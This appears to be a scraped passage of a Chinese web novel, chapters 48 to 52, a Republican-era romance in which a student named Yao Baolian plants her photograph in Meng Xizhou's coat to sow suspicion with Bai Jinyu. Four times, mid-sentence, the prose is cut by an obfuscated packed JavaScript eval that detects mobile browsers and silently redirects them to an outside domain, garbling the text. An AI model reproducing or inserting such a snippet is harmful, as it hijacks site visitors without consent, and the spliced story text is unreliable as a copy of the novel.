反观孟西洲,如今两人都是小有所成,不必把太多精力投入到工作中去,自然也多出不少相处的时间。孟西洲对感情倒也很积极,三不五时地挂来电话请她出门,对方邀约的次数多了,她这边自然联系得少了,毕竟人除了谈情说爱,还得干正事不是? 只是自己一次也不找他,又无端显得冷淡,说不大过去。于是这次的汇演,瑾璎一说来不了,她就想到了孟西洲,电话打得突然,想不到竟也把人约来了。 白瑾瑜面上不显,心里总归很高兴,直觉这一次和上一次是不大相同的,大概兴许,也会有不大相同的结果呢? 正想着,两人已走出了星河剧院的大门。白瑾瑜的旗袍一角被风吹得翻起一下,孟西洲看见了,脚下没有停,问:“你真不冷吗?”一面握了她的手,玩闹似的,径自塞进自己外衣的口袋里。 却听白瑾瑜小声抽了口气,手上奋力一拔,顷刻又从他的口袋里逃出生天。 孟西洲本就有点试探的意思,只当她是不喜欢生气了,心里刚生出一点失落,却见她食指关节处被划开一道细细的口子,隐隐沁出血珠来。伤口虽小,想必很痛,白瑾瑜忍不住将伤口凑到嘴边吮了一吮,拧着眉问:“你口袋里装了什么?” 孟西洲这才知道是错怪她了,心里一松,又觉得奇怪:自己口袋里什么也没装呀。 可伸手进去一摸,还真摸到了一张棱角分明的小纸片,掏出来一看,原来是一张小相。上头的女子脸蛋雪白,描眉画目,因为化妆的缘故,一张和白瑾瑜有两分相像的面貌此刻瞧着已是判若两人了,但孟西洲昨天刚见过她,又怎会认不出?分明就是北油车弄的姚宝莲。 孟西洲不妨自己被个女人摆了一道,一声冷笑还没溢出口,眼角余光瞥见白瑾瑜,显然她也看清了相片上的人物,脸上正挂着一抹冷笑哩!一时间,那冷笑发不出也收不回 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14642556|151037||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,反倒将自己的五脏六腑冻得透凉。 他心知白瑾瑜疑心自己,可他自认所作所为无可指摘,越遭怀疑,越不屑于解释,心里怨气横生,只想将那相片撕个粉碎才好。 不想刚一动手,就被白瑾瑜按下了:“撕它做什么,我都看到了。敢问相片上的人是谁呢?” 孟西洲看她的面色冷若冰霜,和刚才笑吟吟的样子可谓是天差地别,胃里更像是转了筋似的,气闷道:“不必知道她是谁,横竖和我没有半点关系就是了。” “没有半点关系,人家的相片又怎么会在你口袋里?”白瑾瑜反倒笑一下,也不等他回答,抬手制止道,“不必着急,不如这样吧,我给你两天时间好好想一想,到时候一并解释清楚。” 孟西洲直觉她话里有话,眉头打起结来:“这是什么意思?我现在就能说清,何必再等两天后?” 到这时,白瑾瑜的耐心也告罄了,心道:我有意给你留一条退路,你还不领情吗?重新放冷了脸色,道:“当然是给你时间自圆其说了,该想的想好,该断的断了,若到时候再让我听出话里有纰漏,我可就没这样好说话了。” 孟西洲气极了,也憋屈极了,问:“你是料定我在编谎话了?” 白瑾瑜抿着唇,并不想和他吵。他们如今正站在剧院外的马路边上,尽管彼此都放低了声音,但两个人是不是僵持对抗的样子,别人总看得出来。便说:“我们找一间店坐下谈,不要在大街上起争执。” 孟西洲气极反笑,这都涉及忠诚问题了,她还有心思讲体面呢!干脆拉了白瑾瑜的胳膊,往自己洋车的方向走,“那正好,不如就去我家好了。俗话说‘家丑不外扬'',关上门来,我们也好谈个清楚。” 去的途中,还不忘将那相片一撕为二,随手丢进了街边的秽物篓里。可见这东西,他是连家门都不想带进去的。 另一边,戏剧社的庆功宴热热闹闹地直开到晚上七点多钟,结束时天都半黑了。社里的女同学,除却几个家里来接的,别的都配上一位男同学做“护花使者”,送到家里以策安全。 轮到白瑾琪的时候,好几个男学生蠢蠢欲动呢,都抵不上郑家树主动开口道:“白同学就由我来送吧,男主演送一送女主演,那也是很应当的。” 白瑾琪倒是无所谓,她本想自己叫一辆黄包车回家的,但既然郑家树自告奋勇,自己能对着一张俊脸,也不亏呀。 于是一路上边聊边走,眼看椿樟街36号已近在眼前了,不妨郑家树突然停住脚步,转过了身。 头顶上的路灯闪烁一下,正投下一片昏昏黄黄的影子将二人笼罩着,只见郑家树对她微笑一下,说:“西方戏剧里总将爱情的起源归于爱神的金箭,那金箭威力巨大,一旦谁被射中,注定要落入爱情之网。” “我从前只视其为艺术的虚构,如今才真切体会到它的威力。”说到这,又深深凝视了白瑾琪一眼,“只是白同学,一个人掉进爱情之网太可怜了,我想拉你一起,你答不答应呢?” 49. 第 49 章 事隔许久,也该说一说住在北油车弄的姚宝莲了。 自从孟西洲发现她长得和白瑾瑜有两分相像,便暗自计较着,决不能叫她趟进皮肉生意的浑水。 北京城说小不小,说大也不大,设若有个认识白瑾瑜的人叫了姚宝莲的条子呢?会叫条子的人,说起话来大多也荤素不忌,要是寻开心到白瑾瑜的身上,光是想一想,他便大动肝火。 是以在孟西洲提出资助之后,姚大娘便将姚宝莲送去了裕兴女子教会学堂,学堂读书的费用早已经结清,又有每月三十块钱可以白拿,这样的好事,对于穷的时候连米都揭不开锅的姚家而言,哪里想得到哇! 在姚宝莲一边,她本人虽是没有半点心思花在读书上,然“近朱者赤”,成天和那些活泼泼的女学生并稳重自持的教师们呆在一处,竟也改掉了原来畏畏缩缩的小家子气,瞧着真像是个家教不差的女学生了。又她生得好看,渐渐的竟也交到一些朋友,上下学的路上,也有在附近工作或路过的先生们,将目光投注到她的身上了。 她心里感到得意,愈发对自己的外表注重起来,衣服要用有香味的皂角洗得干干净净,头发光是梳起来还不够,得配一条丝带子才好。这些是很好实现的,三十块的家用可不算少呀,只要不是大鱼大肉地吃,每月总能余下来几块钱,买点香皂丝带又算得了什么? 这样下来,不出几个月,竟也有人托了人来打听姚宝莲今年多大,家住哪里云云,很有要相看的意思。 姚大娘如今也是长过见识的人了,看着女儿亭亭玉立的样子,又是受人高看一眼的女学生,抱着待价而沽的念头,对谁的打探也没有答复。 心道:不过几个小职员罢了,一个月也就是大几十块钱的收入,哪里配得上我的宝莲?瞧瞧那天那一位顶气派的先生,什么也不图,二话不说就要出钱送我闺女上学去哩!指不定我的宝莲,就是要飞上枝头做凤凰的命呀! 是以对那些勤恳又普通的先生,一个也瞧不上。 姚大娘瞧不上,姚宝莲这个天天往外跑的,自然更瞧不上了。 她起先还有些担心呢,那些算术国文,她真是一句话也听不懂,考试分数可想而知是一片惨淡。可这样一份成绩单交出去,第二个月照样有生活费可拿,交过几次后,她便彻底放心了。一旦没了压力,那颗心便飘飘然浮荡起来。 于是妆也化得,同学间的聚会活动也去得,连价位不高的跳舞厅,都和女同学结伴着去过一次。在跳舞厅里,倒认识了一个做生意的老板,这和小小职员可不一样,兜里有钱,出手也阔绰,第一天就买了个粉镜盒做礼物。姚宝莲垂涎这件精巧的玩意儿很久了,自然爱不释手。 这年头有钱又大方的男人可不好找,样貌差点不要紧,年纪大点也无妨了,年纪轻轻的,还挣不到这一份殷实的家财呢。 姚宝莲心里一万个乐意,她看出对方很爱文化人那种清高矜持的姿态,便极力地拿着腔调欲擒故纵,既不殷勤,也不拒绝,一来二去,两人便有了首尾。哪知还来不及窃喜,便来了个晴天霹雳,那黄老板家里头,竟是有正房太太的! 那黄老板满不在乎道:“我们自管在北京过逍遥日子,那婆娘远在江西,理她作甚?嘿,就是委屈你,那一本结婚证书恐怕是批不下来了,而且酒席若办得太隆重,风声传到江西去也不好。不如简单摆一场酒,隔天便接你去住我的大洋楼?” 姚宝莲心里真气得呕血,恨自己从前穷惯了,一下见到个阔气的,就被钱迷了眼,没有打听清楚,就把自己给出去了。以前便罢了,如今自己高低是个新时代有知识的女学生,哪儿能给人做小? 然转念一想,自己先前推拒几次,这黄老板便一下冷淡不少,料想要是不和他亲热一回把人拴住,这只快煮熟的鸭子,指不定就从手里飞走了!再有,时下的社会是很保护学生的,自己不说或是矢口否认,谁会知道呢?即便是知道了,凭如今社交公开的环境,自己又是受到欺骗的弱势角色,一点□□上的关系,又能怎样呢? 便将怒火咽下,转而做出楚楚可怜的姿态,噙着眼泪道:“好哇!你昨天竟都是哄骗我的吗?我一个清清白白的女孩子,就因为对你心生爱慕,把贞操都献给你了,却连一本结婚证书都换不到,这叫我情何以堪?”说着,伏在枕头上默默哭起来。 她这一哭,端的是娇柔万分,把那黄老板给心疼坏了,手上摸着她细滑的皮肤,心里便更加动摇。思忖一番后道:“好!我那婆娘虽凶悍,趁此机会和她离婚,也不是不行!我老黄家能娶一个念过书的女学生,也是脸上有光的事,只是这件事急不得,你可得等一等。” 姚宝莲抽泣道:“好,我总愿意再信你一回。不过我一个女孩子,还是看重名声的,为避嫌疑,在你离婚之前,我们还是尽量别见面的好。你只记得,我在苦等着你就行了。” 那眼泪成串地往下掉,任黄老板指天誓地,又一连抽出好几张钞票给她花用,才算是把她哄住了。 至此,姚宝莲虽暂时不去搭理黄老板,却把他当作底牌似的捏在手里,自去过她轻松自在的学校生活。恰逢那阵子有新的流行,凡女学生,都喜欢在衬衣口袋里别一支自来水笔,再戴一副玳瑁眼镜,显示出做学问的干练端庄。 人家有的,姚宝莲看了眼馋,自然也想要。只是眼镜和自来水笔都是最新的时髦,价格未必便宜,姚大娘悭吝惯了,估计不愿意出;用自己私藏的钱买,势必也要被问东问西,母女两个一合计,这两样东西都是读书需要的呀,何不向那位“贵人”讨一讨? 于是下一次寄送成绩单的时候,连带捎去一张字条,又多要了十块钱,说是用来置办学习 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14654738|151037||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 用品。 母女二人原不抱什么希望的,盖因那公子哥来过一次之后就再没现身,即便和跑腿送钱的听差打听,也是一个字也不透露。哪里想得到,一张字条送过去,竟然真的多得了十块钱! 姚大娘捧着钱,说是喜出望外也不为过了,一面抱怨自己太老实,早知道贵人这样好说话,老早就可以多提些要求了!一面又对宝莲狎促道:“你瞧,不过写了一行字,钱就来了。他真对你没意思吗?不能够吧?” 将那两张五元的钞票,宝贝似的捏在手里,翻来翻去看个不停。 姚宝莲心里也是一喜,却并不立刻显露在脸上,只说:“妈,别瞎说。他要是真有意思,怎么人不过来呢?” 姚大娘答不出来,再看女儿似乎是不为所动的样子,恨铁不成钢地放沉了脸色,尖刻道:“看你这副死样子,身子给了那姓黄的,心也跟着过去了吗?要我说,一样是做小,倒还不如给那贵人做小,光是那模样气派,十个姓黄的也抵不上!” 见姚宝莲听到“做小”后不大乐意地撇了撇嘴,冷哼道:“你可别觉得委屈,做小怎么了?低人一等吗?那也得看是给谁做小!你别看现在提倡什么男女平等一夫一妻,那些有钱有权的,多得是在外头组建小家庭哩!你再看那些当小老婆的,不照样住洋房开洋车、饭不愁衣不缺吗?还不用跟家里的大太太碰面,有什么不好?呵!且把眼光放长远些吧!” 姚宝莲心里自有计较,不耐烦听别人念叨,当下站起身来,一把抽走姚大娘手里的钞票,笑了一声道:“既然钱拿到了,我去买东西了。” 不等姚大娘来夺,又说:“字条上可是写明了要买眼镜和自来水笔的,你想,万一那贵人下回心血来潮来看看咱们,设若没看到这两样东西,让人家怎么想?”姚大娘觉得这话也有道理,只好随她去了。 姚宝莲揣着钱,只管美美地进店挑选,买了玳瑁边眼镜和自来水笔不算,余下的钱,又狠狠心买了一只红珊瑚的玫瑰花发夹。心想:贵人要是真来了,总得有一件十分为自己添色的首饰才行,这一件就不错。 竟是已经开始为孟西洲“万一”的来访,做起准备来了。 回去想想仍觉得不够牢靠,和姚大娘商量后,定下一个计划来。等下一回听差的再来时,只姚大娘一人开了门,恭敬地把装了成绩单的信封递了出去。那听差随口问道:“贵府小姐不在家吗?” 姚大娘讪笑着:“是是,今天学校里办活动呢,咱们宝莲考学差一点,对于学校活动是很积极的。” 那人也不多问,点点头走了。他的车正停在距离北油车弄不远处的马路边上,待那听差的坐进车里,车子一发动,斜角里便有另一辆车缓缓冒出头来,远远地跟了上去。 那里头副手座上坐着的,正是去参加学校活动的姚宝莲无疑了。 50. 第 50 章 “当真吗?啊呀!这真是做梦也料不到的事呀!”姚大娘激动得从座椅上跳将起来,说是喜出望外也不为过了,随即又讪讪地拿胳膊肘撞了撞女儿,道:“嗐,我先前还嫌你租辆洋车太过破费,这真是为娘的不是,想那皇宫一样的地方,开一辆破车过去像什么话!” 姚宝莲矜持地扯了扯嘴角,实则心里也卷着惊涛骇浪,回想她一个钟头前在车里瞥见那座大宅子时,何尝不是惊叹得屏息?那样漂亮辽阔的洋房,雪白的砖墙像在太阳光底下闪着光似的,她这辈子都未曾见过哩! 当时当刻,那心思又活络起来:黄老板说住什么“小洋楼”,是怎样一个“小”法?和今天那座宫殿似的大房子相比如何?不要是一个天上一个地下吧?那可有什么住头? 转念一想,心里又生出怨气来:这贵人到底什么意思?连住的地方都如此豪奢,却只肯给她一个月三十块的生活费。三十块钱够做什么?恐怕都不够他在番菜馆吃一顿饭吧!哼!遑论这年头的公子哥,哪怕是养一个天桥上清唱的小姑娘,都远不是这个数哩! 她不去想孟西洲的三十块钱救她脱出了苦海,只想到对方吝啬,明明有钱,却只肯漏下一两个子儿,所谓贪心不足,不过如此了。 然姚大娘和她是一路货色,才刚瞥见金山一角,便卯着劲儿地煽动起来,“你瞧!我说的住洋房开洋车,这话没有说错吧?何况贵人待你不同哩,设若你巴结一点,穿金戴银也是有的!” 其实,也不必她去说动,姚宝莲自己已经动摇了。 于是第二天便去城东新开的照相馆照了张小相,特意多付了两块钱让学工描成彩色的,等隔了几天相片到手,这才行动起来。 这一日,她特意梳洗打扮,拿新的香胰子洗了脸,又细细敷了一层香粉。早前买的玳瑁边眼镜和红珊瑚发夹一个不落地戴上,身上却穿一套洗得很干净的学生制服,末了又用了一点口红在嘴唇上,打眼看去,真是好一个亭亭玉立的文雅女学生。 姚大娘站在房间外远远看了一眼,抱怨说:“怎么穿得那么素?上回做的那件掐腰身的旗袍就很好,只穿过一次,眼下正好好地收着呢,不如我给你拿出来?” 姚宝莲说:“你懂什么,不要添乱了罢。贵人帮衬咱们,不就是要我读书的吗?我穿着学生的衣服,这才显出不辜负他的心意呢。” 姚大娘搓着手笑道:“对对对,瞧我,真不如你想得深远。”将功补过一般,找来那只装自来水笔的长盒子,递过去道,“快别在衣服口袋上,最好能摘下来给他写一段字,那才腔调十足呢!” 姚宝莲并不搭腔,只对着镜子检视自己,自觉挑不出毛病了,这才满意地一笑,抬脚向外迈去。 上回花大价钱租用洋车,主要还是为保密行事,这一次她是正大光明地拜访,便招了人力车来坐,也显得自己花钱有度。 到了孟公馆的大门口,门房听差自然是不让她进的,姚宝莲也不慌,只说自己来找贾秘书,这个名字,还是她母女俩打着配合各种套话,才从那交接的听差嘴里撬出来的呢。她一副女学生的样子,又表现得从容得体,倒让那门房先生信服了几分。 问她来做什么,姚宝莲道:“有一张单据要交给贾秘书,你就说是一位受贵府帮助的姓姚的女学生,他一准知道的。” 门房于是往公馆里挂了个内线电话,和对面说过几句后,倒真获得了批许,将她放进去了。 这一头,姚宝莲一路往里走,那琳琅满目的花草园艺,阳光底下钻石一般闪着亮光的西式喷泉,大门上镶嵌成图画样式的彩色玻璃,及至到了屋内,那气派的带雕花的海绒沙发,镶金嵌玉的西式壁钟,还要随处可见的精致摆件,真看得人目不暇接。 姚宝莲自认已长进不少了,此刻也有相形见绌之感,哪怕极力维持镇定也难免露怯,小心翼翼地避开长沙发的正中,在靠扶手边的位置坐下了。 另一边,贾秘书也摸不清这位姚小姐是个什么来头:说自家老板看重她吧,他对姚宝莲的事是一概不管,全由自己打理;可说他真不在乎吧,又时不时要来问一句人家是不是好好读着书。但要说孟西洲和这女学生之间有什么首尾,他是一万个不相信的,自己这位老板近来和白小姐正是你侬我侬哩,他还从没见过孟老板如此心情愉快过,瞧着就是情场得意的样子。 是以在门房挂了电话来,说有位姓姚的女学生找他时,他思索片刻,还是让人放行了。且看看她有什么事吧,不由分说地把人拒之门外,他还真不好交代。 贾秘书专负责孟公馆内的事务,说来也算半个管家,办公室就辟在公馆一楼的一处房间。等他来到客厅时,正看见一个女学生正襟危坐着,眼睛却四处打量的样子。走上前询问道:“是姚小姐吗?” 那女学生吓了一跳似的,扭过头来,冲他羞涩地一笑。 离得近了才发现,这位姚小姐虽穿了学生的制服,却实则涂脂抹粉,哪里都透着追求时髦的意思,并没有学生的样子。再看她脸上戴的那一副眼镜,想必也是出于美丽,并不是为了读书。贾秘书见过的人何其之多,早练就一双火眼金睛,联想到那一张张惨不忍睹的成绩单,也就了然于心了。 客气道:“有什么事,让听差捎个口信就行了,何必亲自跑一趟。对了,姚小姐怎么知道我们公馆的地址?” 姚宝莲当然不能说是尾随来的,只好避重就轻,文文静静地微笑道:“哪里的话,我是有事想和孟先生商量呢,何况这几个月来得了贵府许多帮助,亲自来道一声谢,那是很应当的。” 从姚宝莲一开口,她心里有什么算盘,贾秘书便已猜到了个七七八八,当下生出警惕来,面上却不动声色,严谨道:“门房说你有一份单据给我,在哪里呢?既然你人也来了,有什么事就和我说吧,姚小姐的事向来是我全权负责,行与不行,我自会判断。” 由听差们的态度就能看出来,贾秘书是很有分 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14667031|151037||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 量的人物,又他说话明确笃定,自己也不好讨价还价地歪缠,不然岂不成了菜市场里讨价还价的泼妇? 只好拿出事先准备好的女子教会学堂组织唱诗班的声明,表示自己有意向加入一个,但还是要征求资助人的同意,“说是涉及洋人的宗教,许多中国人不大喜欢的,到底是孟先生替我出的学费,要是冲撞了东家,这就不好了。” 贾秘书把薄薄一张纸在手上翻了一翻,皮笑肉不笑道:“哪里的话,上课读书的是姚小姐,姚小姐自己决定就好。没有什么事的话,我送姚小姐出去吧?” 好不容易来了,哪有没见到人就走的道理?姚宝莲脸上的笑容瞬间僵硬几分,坚持道:“孟先生不在吗?我对他铭感五内,既然来了,总要亲自道一个谢。要是由人转达,实在不能够表示诚意。” 看来今天,不让她见到人是不行了。 贾秘书看了眼怀表,现在正是十一点差一刻钟,便说:“好吧,孟老板大约十一点半回来,姚小姐要是执意要见他,还得等一等了。”说着,却并不走开,而是在对角一把单人沙发椅上坐下,竟是要守在一旁监视她哩! 在贾秘书,确实有监视的意思,这也不怪他,谁让这位姚小姐实在不像是心思正派的样子。自己要是一走开,她胆子大了,东走西逛,顺走孟老板的东西可怎么好? 放在从前还好说,可如今孟老板这里,大概有不少白小姐的东西哩。譬如上回,他不就拿着一对绿颜色的耳环把玩吗?有一件就有两件三件,卧室和书房当然不会放闲杂人等进去,可谁知道人把东西放在哪里呢?哪怕是白小姐随手给他买的小玩意儿,要是不见了,少不了自己要被问责。 与此同时,姚宝莲也是心急如焚。 她可是特意带了自己的彩色相片来的,本想着说自己有事要谈,总能被请去书房坐一坐,趁人不留意的时候将小相放进抽屉或是夹进笔记本里,等贵人不经意间看见了,不正可以借此想一想自己吗? 想不到人家根本没有请她去书房的意思哩!姚宝莲顿时怨气丛生,连中途借口去一趟盥洗室,也有一个女佣人全程陪同,如此严防死守,哪里还有下手的机会? 至此,她对这个姓贾的秘书已是极大的不满,可就此离开呢,又很不甘心,只好对峙一般硬耗着。又过了小一刻钟,只听外头传来一阵刹车的声响,姚宝莲心里一松,一丛喜色先就爬上了嘴角。 随后大门一开一阖,一道潇洒挺拔的身影风一般卷了进来,不是下雨那天见过的贵人是谁? 他在玄关处挂衣服时便留意到客厅有人,因有贾秘书陪坐在一边,便以为是秘书自己的客人,于是并不在意。刚要径自走开,却听贾秘书喊住自己道:“先生,这位姚小姐执意要求见一见你,已经久候了。” 孟西洲起先一愣,心道,我哪里认识什么姚小姐?但余光一瞥见那人身上的学生服,便又想了起来,下一秒目光如箭,直往来人的脸上看去。 51. 第 51 章 大概一个人的境遇改变了,面相也会跟着发生一点变化,又或者是姚宝莲开始往脸上涂脂抹粉的缘故,原本和白瑾瑜的两分相识,也大都被这层脂粉气给冲淡了,以至于孟西洲辨认她的时候,颇费了一番功夫。 但那略显矫揉的表情不是由和白瑾瑜相似的脸上做出来,多少让孟西洲觉得舒坦些。 本来么,他也不关心姚宝莲书念得好坏,只是既然资助了人家,总希望她能知道上进,学一点用以立身的知识技能,然而就贾秘书偶尔的汇报可以知道,姚宝莲的成绩实在有些不堪入目。是学而不会还是压根不学,在分数上总归可以感受得到,故而他对这个姚小姐也没有什么耐心。 此刻看她脸上还架着副眼镜,做一副学究的样子,忍不住开口道:“姚小姐真这样用功吗?才读了几个月书,就把眼睛读坏了?” 姚宝莲被他拿话一刺,抿出的微笑随即便僵在嘴边,心道:是了,我每次的小考分数可都是要上交的,自己学成什么样子,她心里当然有数,这是在讽刺她装腔作势吗?好不给人面子! 要是在学校或聚会上有人说这样的话,姚宝莲早就将面孔板起来了,可偏偏是这位财大气粗的贵人,只得极力调整了神态,讪讪道:“哪里,我脑子笨,哪怕自己再用功,功课上还是一窍不通。” 孟西洲也不愿花时间同她周旋,只点了一点头就要走开,想不到姚宝莲又喊了一声“孟先生”,抬手将一绺碎发绕到耳后,羞赧地笑了笑,显然这才要步入正题呢。 旁边的贾秘书却不给她发挥的余地,言简意赅地插话道:“姚小姐这次来,是为请示要加入学校的唱诗班,我已和姚小姐说了,都由她自己决定。之所以久呆着不走,是为当面对孟先生道一句感谢。” 孟西洲便客气又干脆地说:“感谢的话就不必了,你真觉得感激,把书念好了就行。我还有事要办,就不久陪了。”向边上的贾秘书示意道,“这里偏远,送送姚小姐吧。” 这样一来一回之间,和贵人的会面就告结束了,姚宝莲反倒成了被撇在一边的那个。不要说多谈几句话,连相片都没着落呢! 姚宝莲几乎咬碎了银牙,面上却只好做出一副恭顺的样子,由贾秘书领着往外走,同时在心里急转着主意。直到走进了玄关,忽而便福至心灵了:这一件外衣,不正是贵人刚才脱下的吗?她人虽坐在客厅的沙发上,眼睛却是盯牢了他,看得很真切呢! 心想,自己进不去书房,连在客厅坐着都受到监视,还想着没有机会呢,谁承想这机会是近在眼前呀! 赶巧贾秘书又是背过自己走在前面的,姚宝莲便飞快掏出了那张相片,塞进了孟西洲外衣的口袋里。这衣服没有叫人收走,而是挂在衣架上,总是要穿第二次的,不信他发现不了这“玄机”。即便直接叫佣人洗了,佣人在洗之前,还能不翻一下口袋吗?摸出一张女子的小相来,还能不传出一点闲话吗? 空穴来风,未必无因。她正需要这一点闲话哩! 因而虽未跟贵人说上几句话,离开孟公馆时,姚宝莲仍是志得意满的神态。在她看来,自己这一条伏笔,已经是铺设好了,哪里想到这张小相会在一天后割了白瑾瑜的手指呢? 白瑾瑜坐在孟公馆书房的沙发椅子上,听孟西洲讲到这里,大概也明白了,问:“那末,这相片就是那位姚小姐偷偷放的了?” 孟西洲冷着脸道:“除了她,还能有谁呢?东西是她的,且她活动过的范围,统共也就那一片了。” 他冷着脸,未必不是自己受了冤屈,要白瑾瑜来哄的一种表示,只是白瑾瑜显然更关注另一件事,“那位姚小姐,她真和我很像吗?我自己倒不觉得。”同时在心里回想那相片上女子的面貌。 她的记忆力一向很好,往往看过一遍的东西就能记个八九不离十,更不要说那相片是从孟西洲的外衣口袋里找出来的,故而她虽只看了一眼,却几乎印在了脑子里。 孟西洲轻哼了一声:“要说很像,那不至于,只是从某几个角度来看,确有几分神似。我那时想,做皮肉生意的人,你不知她会接触到什么人,兴许就是你生意上的对手呢?你是一位小姐,又和人争利,别人明面上争不过你,背地里要诋毁你,那是绝不留情的。不过也不知什么缘故,我昨天再看她,也觉得和你不像了,大概人的面相就是会变,这倒是一件好事。” 白瑾瑜听他讲到诋毁时,心里忿忿道:我还是吃了做女子的亏,女子要走在这世上,非得比男子十倍百倍地看重名声不可。可转念又觉得,我要真是男子,大概就要视如今做出的成就为平常了吧?不正因为我是女子,才格外从事业中感到一种成就与满足吗?还有一点,多多少少,为这世上广大女子开出一条光明道路的自豪感。 白瑾瑜默默地点了点头,道:“我明白了,你也是出于一份维护我的好心。” 孟西洲得到这一句话,心里已经有一种欣慰,脸上却还是冰冷得很,沉着嘴角为自己叫屈:“可惜这一份好心,差点被你丢在地上踩。”说完,锯了嘴似的,将头撇向一边,不肯看她,也不肯再多说一句话。 白瑾瑜看到他的样子,心里也就明白了,心想,既然是自己错怪了人家,哄一哄也是应当的。便带着一点笑意凑到边上,拉着孟西洲的手握在手心里道:“对不住,是我不好,只是你也该体谅我一朝被蛇咬,对爱情,总有一点狐疑恐惧。你要我怎么做呢?” 她一提到上一段感情,孟西洲的心也跟着被揪紧了似的,心里固然心疼她,却并没有放软姿态,只是被她握住的那只手,牢牢地回握了过去,说:“你那么聪明,不知道该怎么做吗?” 白瑾瑜笑了一声,“你要我哄你吗?”说罢微微俯身,将唇吻印在他因为撇过头而袒露出的侧脸上。 那吻一触即收,只是还没等她站稳,便被人拉着胳膊往下带,回过神来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14680792|151037||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,自己已然坐到了孟西洲的怀里。后者抿着唇恶狠狠地看向自己,说是恶狠狠也不尽然,那眼里分明还有隐忍和诘问,似乎自己但凡有一点反悔的表示,他就要起来发难了。 白瑾瑜垂着眼睫,故意问:“我做得不对吗?你要是不喜欢,我以后不做就是了。” 孟西洲咬着牙关,好像不这样做,就控制不住心里掀起的狂澜似的。他心里又激动又燥热,又混杂一点苦尽甘来的甜蜜,全都涌在喉间烧着,似乎要把体内的水分都烧干了,只能任喉结上下滑动一下,稍作缓解。 他凝视着白瑾瑜的眼睛,一边靠近一边道:“你就是故意气我。我怎么不喜欢?白小姐,好厉害的本事,不如教一教我?” 说到最后,已然只剩下气声,呼吸喷洒在彼此的鼻尖脸上,再稍稍偏头错开位置,便将那花瓣似的嘴唇含住了。 到了这一步,孟西洲已是全凭本能行事,只觉得柔软的唇吻相触的一瞬间,自己的心脏像被电流击中似的酥麻一下,他快速地分开,又忍不住去追逐下一个吻。直到浅吻不够了,便微微开启嘴唇,用舌尖去触碰她的。 可是不够,还是不够。 孟西洲几乎有些急躁了,伸手将怀里的人拥得更近,唇舌再要往里探,却听见一声细弱的呜咽,胸膛也被一条纤细的胳膊抵着,勉力推开。 在他的怀里,白瑾瑜细细地喘着气。 好在他瞧不见自己是怎样一副面红耳赤的样子,不然,怕是当下就要找个借口落荒而逃了。她现在脑子还是一片混陶陶,自己也说不清是怎么回事,从前和柳世新的吻是怎么样的?反正从来也不是这样,觉得自己正在融化,像是烧得正旺的蜡烛,或是被蜡烛加热的一块白脱...... 要是再不分开,自己就要化完了吧?可是分开了,透过眼里的水气去看孟西洲的脸,怎么又会生出想吻过去的念头呢? 所以在孟西洲又要贴靠过来的时候,白瑾瑜短暂地侧过头避开了。 对方便伸手,将她略微凌乱的鬓发整理到耳后,大手捧着她烫热的脸颊,又吻了吻洁白的耳廓,哑声问:“没有太坏吧?我和他,哪一个更讨你的......”话没有完,可略带幽怨紧张的语调,已然将未出口的半句话补全了。听着好可怜。 白瑾瑜恍惚想:这一双手分明是捧着我的脸,怎么倒觉得心像是给人攥紧了呢? 于是重新看向孟西洲,也伸手捧着他的脸,抿着微笑说:“你这样问,不光是看轻我,也把你自己的位置放得太低了。我要是心里放不下姓柳的,又怎么会接受姓孟的?” 孟西洲却望着她,眼里闪烁着一点祈求,就好像在说:这是真话吗?你的一句话,就是对我的一道宣判了! 见他迟疑着启唇,似乎还有什么话要问,那种患失患得的样子太少见了,连白瑾瑜都感到有趣。干脆自己凑了上去,将他的忐忑与踌躇,都堵在了这一个吻里。 52. 第 52 章 白瑾瑜回家的时间,比白瑾琪稍晚一点,进门换过皮鞋,正撞见白瑾琪哼着歌儿从楼上下来。她自己也是心情不坏,见状便调侃一句:“一次小演出的成功而已,值得你这样高兴?” 因为她突然间的出声,白瑾琪倒吓了一跳,她心里正想着事情哩! 